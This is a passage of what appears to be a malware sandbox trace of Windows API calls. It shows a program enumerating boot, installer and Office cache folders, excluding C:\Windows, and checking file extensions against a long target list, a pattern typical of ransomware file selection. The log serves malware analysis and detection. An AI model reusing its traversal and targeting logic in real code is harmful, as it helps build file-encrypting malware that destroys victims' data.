returned 1 [0035.492] lstrlenW (lpString=".pdf") returned 4 [0035.492] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pdp") returned 4 [0035.492] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pef") returned 4 [0035.492] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pem") returned 4 [0035.492] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pff") returned 4 [0035.492] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pfm") returned 4 [0035.492] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pfx") returned 4 [0035.492] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pgm") returned 4 [0035.492] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".php") returned 4 [0035.493] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0035.493] lstrlenW (lpString=".php3") returned 5 [0035.493] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0035.493] lstrlenW (lpString=".php4") returned 5 [0035.493] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0035.493] lstrlenW (lpString=".php5") returned 5 [0035.493] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0035.493] lstrlenW (lpString=".phtml") returned 6 [0035.493] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0035.493] lstrlenW (lpString=".pict") returned 5 [0035.493] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0035.493] lstrlenW (lpString=".pl") returned 3 [0035.493] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0035.493] lstrlenW (lpString=".pls") returned 4 [0035.493] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0035.493] lstrlenW (lpString=".pm") returned 3 [0035.493] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0035.493] lstrlenW (lpString=".png") returned 4 [0035.493] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0035.493] lstrlenW (lpString=".pnm") returned 4 [0035.493] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0035.493] lstrlenW (lpString=".pot") returned 4 [0035.493] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0035.493] lstrlenW (lpString=".potm") returned 5 [0035.493] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0035.493] lstrlenW (lpString=".potx") returned 5 [0035.493] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0035.493] lstrlenW (lpString=".ppa") returned 4 [0035.493] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0035.493] lstrlenW (lpString=".ppam") returned 5 [0035.493] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0035.493] lstrlenW (lpString=".ppm") returned 4 [0035.493] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".pps") returned 4 [0035.494] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".ppsm") returned 5 [0035.494] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0035.494] lstrlenW (lpString=".ppt") returned 4 [0035.494] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".pptm") returned 5 [0035.494] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0035.494] lstrlenW (lpString=".pptx") returned 5 [0035.494] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0035.494] lstrlenW (lpString=".prn") returned 4 [0035.494] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".ps") returned 3 [0035.494] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0035.494] lstrlenW (lpString=".psb") returned 4 [0035.494] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".psd") returned 4 [0035.494] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".pst") returned 4 [0035.494] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".ptx") returned 4 [0035.494] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".pub") returned 4 [0035.494] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".pwm") returned 4 [0035.494] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".pxr") returned 4 [0035.494] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0035.494] lstrlenW (lpString=".py") returned 3 [0035.494] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0035.494] lstrlenW (lpString=".qt") returned 3 [0035.494] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0035.494] lstrlenW (lpString=".r3d") returned 4 [0035.494] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0035.495] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.495] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.495] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.495] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.495] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.495] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.495] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.496] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.496] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.496] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0035.496] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.497] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.552] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.552] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.552] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.552] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.552] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0035.552] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.552] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.552] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.553] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.553] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.553] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.553] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0035.553] FindClose (in: hFindFile=0x5684f8 | out: hFindFile=0x5684f8) returned 1 [0035.553] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3750268 | out: hHeap=0x510000) returned 1 [0035.553] FindNextFileW (in: hFindFile=0x59e208, lpFindFileData=0x2effd00 | out: lpFindFileData=0x2effd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0035.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3750268 [0035.553] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5684f8 [0035.554] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.554] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0035.554] FindClose (in: hFindFile=0x5684f8 | out: hFindFile=0x5684f8) returned 1 [0035.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3750268 | out: hHeap=0x510000) returned 1 [0035.554] FindNextFileW (in: hFindFile=0x59e208, lpFindFileData=0x2effd00 | out: lpFindFileData=0x2effd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0035.554] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3750268 [0035.554] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="?U\x16")) returned 0xffffffff [0035.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3750268 | out: hHeap=0x510000) returned 1 [0035.554] FindNextFileW (in: hFindFile=0x59e208, lpFindFileData=0x2effd00 | out: lpFindFileData=0x2effd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0035.555] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3750268 [0035.555] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5684f8 [0035.555] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.555] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0035.555] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.555] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604448 [0035.610] FindNextFileW (in: hFindFile=0x604448, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.615] FindNextFileW (in: hFindFile=0x604448, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0035.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 62 [0035.616] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 1 [0035.616] lstrlenW (lpString="{90140000-0016-0409-1000-0000000FF1CE}-C") returned 40 [0035.616] lstrcmpiW (lpString1="C:\\Windows", lpString2="{90140000-0016-0409-1000-0000000FF1CE}-C") returned 1 [0035.620] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3ed1058 [0035.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 62 [0035.649] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2eff58c | out: lpFindFileData=0x2eff58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604488 [0035.649] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x2eff58c | out: lpFindFileData=0x2eff58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.649] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x2eff58c | out: lpFindFileData=0x2eff58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0035.649] lstrlenW (lpString="ExcelLR.cab") returned 11 [0035.649] lstrlenW (lpString=".1cd") returned 4 [0035.650] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0035.650] lstrlenW (lpString=".3ds") returned 4 [0035.650] lstrcmpiW (lpString1=".3ds", lpString2=".cab") returned -1 [0035.650] lstrlenW (lpString=".3fr") returned 4 [0035.650] lstrcmpiW (lpString1=".3fr", lpString2=".cab") returned -1 [0035.650] lstrlenW (lpString=".3g2") returned 4 [0035.650] lstrcmpiW (lpString1=".3g2", lpString2=".cab") returned -1 [0035.650] lstrlenW (lpString=".3gp") returned 4 [0035.650] lstrcmpiW (lpString1=".3gp", lpString2=".cab") returned -1 [0035.650] lstrlenW (lpString=".7z") returned 3 [0035.650] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0035.650] lstrlenW (lpString=".accda") returned 6 [0035.650] lstrcmpiW (lpString1=".accda", lpString2="LR.cab") returned -1 [0035.650] lstrlenW (lpString=".accdb") returned 6 [0035.650] lstrcmpiW (lpString1=".accdb", lpString2="LR.cab") returned -1 [0035.650] lstrlenW (lpString=".accdc") returned 6 [0035.650] lstrcmpiW (lpString1=".accdc", lpString2="LR.cab") returned -1 [0035.650] lstrlenW (lpString=".accde") returned 6 [0035.650] lstrcmpiW (lpString1=".accde", lpString2="LR.cab") returned -1 [0035.650] lstrlenW (lpString=".accdt") returned 6 [0035.650] lstrcmpiW (lpString1=".accdt", lpString2="LR.cab") returned -1 [0035.650] lstrlenW (lpString=".accdw") returned 6 [0035.650] lstrcmpiW (lpString1=".accdw", lpString2="LR.cab") returned -1 [0035.650] lstrlenW (lpString=".adb") returned 4 [0035.650] lstrcmpiW (lpString1=".adb", lpString2=".cab") returned -1 [0035.650] lstrlenW (lpString=".adp") returned 4 [0035.650] lstrcmpiW (lpString1=".adp", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".ai") returned 3 [0035.651] lstrcmpiW (lpString1=".ai", lpString2="cab") returned -1 [0035.651] lstrlenW (lpString=".ai3") returned 4 [0035.651] lstrcmpiW (lpString1=".ai3", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".ai4") returned 4 [0035.651] lstrcmpiW (lpString1=".ai4", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".ai5") returned 4 [0035.651] lstrcmpiW (lpString1=".ai5", lpString2=".cab") returned -1 [0035.651] lstrlenW (lpString=".ai6") returned 4 [0035.651] lstrcmpiW (lpString1=".ai6", 